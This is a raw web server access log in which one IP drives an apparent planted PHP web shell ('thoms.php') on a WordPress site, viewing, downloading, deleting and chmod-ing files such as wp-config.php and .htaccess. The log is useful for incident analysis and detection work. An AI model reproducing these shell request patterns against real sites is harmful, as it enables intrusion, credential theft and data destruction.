45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2F.well-known&p= HTTP/1.1" 200 11805 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?chmod=cgi-bin&p=broadweb.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /broadweb.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?del=wp-content&p=broadweb.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=wp-content&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?dl=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /broadweb.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:31 -0400] "GET /thoms.php?chmod=wp-load.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fworker-profile&p= HTTP/1.1" 200 11822 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fworker-profile&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?p=broadweb.com.tw&view=license.txt HTTP/1.1" 200 20078 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12039 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?chmod=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /broadweb.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?dl=error_log&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?dl=error_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-mail.php HTTP/1.1" 200 15349 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?chmod=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /broadweb.com.tw/wp-signup.php HTTP/1.1" 500 1182 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?chmod=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?chmod=error_log&p=broadweb.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /broadweb.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /broadweb.com.tw/thoms.php?p= HTTP/1.1" 200 17935 "https://163.245.207.76/broadweb.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:32 -0400] "GET /thoms.php?del=license.txt&p=broadweb.com.tw HTTP/1.1" 200 17377 "http://163.245.207.76:443/thoms.php?del=license.txt&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-config.php HTTP/1.1" 200 13723 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-load.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?dl=wp-signup.php&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?del=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw&view=locoy.php HTTP/1.1" 200 12964 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-cron.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?dl=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-trackback.php HTTP/1.1" 200 14093 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-trackback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw&upload= HTTP/1.1" 200 12156 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw&view=index.php HTTP/1.1" 200 12052 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /broadweb.com.tw/wp-config-sample.php HTTP/1.1" 500 1095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?del=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 17366 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?del=wp-mail.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 200 13296 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:33 -0400] "GET /thoms.php?del=wp-includes&p=broadweb.com.tw HTTP/1.1" 200 17376 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?chmod=readme.html&p=broadweb.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?dl=wp-trackback.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?dl=wp-trackback.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /broadweb.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 11500 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?del=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 17375 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-settings.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /broadweb.com.tw/ HTTP/1.1" 404 14487 "https://163.245.207.76:443/broadweb.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?chmod=bridge-sample&p=broadweb.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=bridge-sample&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p= HTTP/1.1" 200 11819 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fbridge-sample&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-content HTTP/1.1" 200 13864 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:34 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-blog-header.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?del=wp-config.php&p=broadweb.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?del=wp-settings.php&p=broadweb.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?del=upgrade&p=broadweb.com.tw HTTP/1.1" 200 17381 "http://163.245.207.76:443/thoms.php?del=upgrade&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?dl=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 17379 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=broadweb.com.tw HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /broadweb.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fupgrade HTTP/1.1" 200 13782 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?p=broadweb.com.tw&view=mah.php HTTP/1.1" 200 11817 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fmah.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?p=broadweb.com.tw&view=readme.html HTTP/1.1" 200 15247 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?chmod=wp-activate.php&p=broadweb.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-comments-post.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:35 -0400] "GET /broadweb.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13106 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?del=wp-cron.php&p=broadweb.com.tw HTTP/1.1" 200 17373 "http://163.245.207.76:443/thoms.php?del=wp-cron.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=broadweb.com.tw HTTP/1.1" 200 17374 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fxmlrpc.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /broadweb.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Freadme.html&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?p=broadweb.com.tw&view=wp-settings.php HTTP/1.1" 200 19467 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /broadweb.com.tw/wp-includes/ HTTP/1.1" 200 9299 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?p=broadweb.com.tw&settings=1 HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?chmod=.well-known&p=broadweb.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /broadweb.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /broadweb.com.tw/worker-profile/ HTTP/1.1" 200 6409 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?p=broadweb.com.tw&view=.htaccess HTTP/1.1" 200 12736 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /thoms.php?chmod=.htaccess&p=broadweb.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:36 -0400] "GET /broadweb.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
